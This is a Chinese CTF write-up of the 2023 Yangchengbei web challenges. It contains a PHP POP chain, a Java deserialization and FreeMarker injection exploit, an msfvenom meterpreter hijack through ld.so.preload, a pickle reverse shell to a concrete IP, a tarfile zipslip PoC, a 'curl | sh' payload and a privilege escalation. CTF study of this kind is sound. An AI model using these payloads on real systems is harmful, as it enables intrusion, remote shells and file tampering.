羊城杯2023

羊城杯2023

没附件,只能看wp了

D0n’t pl4y g4m3!!!

直接跳转了,一直在玩前端。。。。(主要是扫目录也没扫出hint.zip)

/hint.zip

有尊嘟假嘟解密

/tmp/catcatf1ag.txt

p0p.php有跳转,看php版本想到php源代码泄露

<?php
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
        call_user_func('system', "cat /flag");
    }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if(isset($a)){
    unserialize(prohib($a));
}
?>

sb了,一直在想两个__get要怎么用,直接赋值就完事了

$aa=new Bei();
$aa->CTF=new Yang(); 
$aa->CTF->finish->finish=true;


$aa->fine=new Yang();
$aa->fine->key=true;
$aa->rce='tac /tmp/catcatf1ag.txt';
$aa->rce1='tac /tmp/catcatf1ag.txt';

$aa->fine->finish->finish=true;
$aa->fine->now=array('YCB1'=>'syssystemtem');   //双写绕过即可


$b=serialize($aa);
echo $b;

Ez_java

BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile

public HtmlInvocationHandler(Map obj) {this.obj = obj}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = this.obj.get(method.getName());
        return result;
}
public Object get(Object key) {
        try {
            Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
            return obj;
        } catch (Exception var4) {
            throw new RuntimeException(var4);
        }
}
public static boolean uploadfile(String filename, String content) {
        if (filename != null && !filename.endsWith(".ftl")) {
            return false;
        } else {
            String realPath = "/app/templates/" + filename;
            if (!realPath.contains("../") && !realPath.contains("..\\")) {
                try {
                    BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
                    writer.write(content);
                    writer.close();
                    return true;
                } catch (IOException var4) {
                    System.err.println("Error uploading file: " + var4.getMessage());
                    return false;
                }
            } else {
                return false;
            }
        }
}

上传的文件必须是.ftl后缀结尾的文件

HtmlMap中存在freemaker模板注入,能够上传覆盖index.ftl文件

#author Boogipop

package com.ycbjava;

import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws Exception {
        HtmlMap htmlMap = new HtmlMap();
        setFieldValue(htmlMap,"content","<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "<#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}");
        setFieldValue(htmlMap,"filename","index.ftl");
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationconstructor.setAccessible(true);
        HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler(htmlMap);
        //生成动态代理
        Map mapproxy= (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(),new Class[]{Map.class},htmlInvocationHandler);
        //生成最外层
        Object o = annotationconstructor.newInstance(Override.class, mapproxy);
        //deserTester(o);
        System.out.println(base64serial(o));

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void deserTester(Object o) throws Exception {
        base64deserial(base64serial(o));
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void base64deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

CC1后半的动态代理触发htmlinvocationhanddler。然后就是get写文件覆盖index.ftl,payload参考https://www.cnblogs.com/escape-w/p/17326592.html

唉,boogipop太强了

ez_web

image-20231123224101954

上传的文件其实是到了/etc目录下,于是可以用LD_PRRLOAD环境变量的配置文件ld.so.preload进行劫持

Linux 操作系统的动态链接库在加载过程中,动态链接器会先读取 LD_PRELOAD 环境变量和默认配置文件 /etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,因为它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入

用msf生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vps的ip LPORT=1000 -f elf-so -o evil.elf

在自己vps 起msfconsole

use payload/linux/x64/meterpreter/reverse_tcp 
#展示相关信息
show options
#设置反弹接受shell的主机ip 这里设置成本机
set lhost 0.0.0.0
#监听ip 这里当时生成木马时端口是多少 就要设置成多少
set lport 1000
#开始执行利用
exploit

进行监听

image-20231123224527481

image-20231123224535913

image-20231123224544680

然后msf执行任意命令即可劫持 (不懂没了解过)

image-20231123224630120

Serpent

www.zip泄露

from flask import Flask, session
import base64
@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

解密session,发现secret_key,然后伪造成admin

{'Attribute': {'admin': 1, 'name': 'GWHT', 'secret_key': 'GWHTESEeGQMqmz'}}

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

按照大佬们的说法,经过测试发现过滤R指令

from flask import Flask, session
import base64

opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
o.'''
print(base64.b64encode(opcode)

反弹成功后,权限不够,进行提权,python3.8能够提权

python3.8 -c "import os;os.execl('/bin/sh','sh','-p')"

ArkNights

都是非预期

/read?file=/proc/1/environ

预期

  1. 从内存中通过偏移量读取secretkey 伪造session (/proc/self/maps /proc/self/mem)
  2. python黑魔法去污染os.path.pardir (变量覆盖,修改os.path.pardir不为..即可目录穿越)
  3. 路径穿越读flag

ezyaml

# 创建 Flask 应用实例
app = Flask(__name__)

# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
def waf(s):
    flag = True
    blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag = False
            print(no)
            break
    return flag

# 定义提取文件的函数
def extractFile(filepath, type):
    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)

    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)
        return tf.getnames()

# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])
def main():
    fn = 'uploads/' + md5().hexdigest()
    if not os.path.exists(fn):
        os.makedirs(fn)
    return render_template('index.html')

# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        upFile = request.files['file']
        print(upFile)

        # 检查文件名是否包含恶意字符,如 ".." 或 "/"
        if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"

        savePath = f"uploads/{upFile.filename}"
        print(savePath)
        upFile.save(savePath)

        # 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
        if tarfile.is_tarfile(savePath):
            zipDatas = extractFile(savePath, 'tar')
            return render_template('result.html', path=savePath, files=zipDatas)
        else:
            return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"

# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])
def src():
    if request.args:
        username = request.args.get('username')
        with open(f'config/{username}.yaml', 'rb') as f:
            Config = yaml.load(f.read())
            return render_template('admin.html', username="admin", message="success")
    else:
        return render_template('index.html')

# 启动 Flask 应用,监听在 0.0.0.0:8000
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

虽然过滤了../

tarfile文件覆盖漏洞(CVE-2007-4559Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件

tar的zipslip文件覆盖

import os
import tarfile

def zipslip(tarinfo):
    tarinfo.uid = tarinfo.gid = 1000
    tarinfo.uname = tarinfo.gname = "poc"
    return tarinfo


tar = tarfile.open("poc.tar","w|")

fullpath = os.path.join("../../","config/1.yaml")
tar.add(fullpath,filter=zipslip)
tar.close()

image-20231123230342769

apply不是在黑名单里面吗?

image-20231123230616462

另一种做法是上传文件

!!python/module:uploads.17.py

17.py文件内容

import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')

reference

2023年“羊城杯”网络安全大赛 Web方向题解wp 全_羊城杯wp-CSDN博客

https://boogipop.com/2023/09/05/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202023%20Writeup/

2023羊城杯WEB WP与复现学习 | Z1d10tのBlog


羊城杯2023
https://zer0peach.github.io/2023/09/10/羊城杯2023/
作者
Zer0peach
发布于
2023年9月10日
许可协议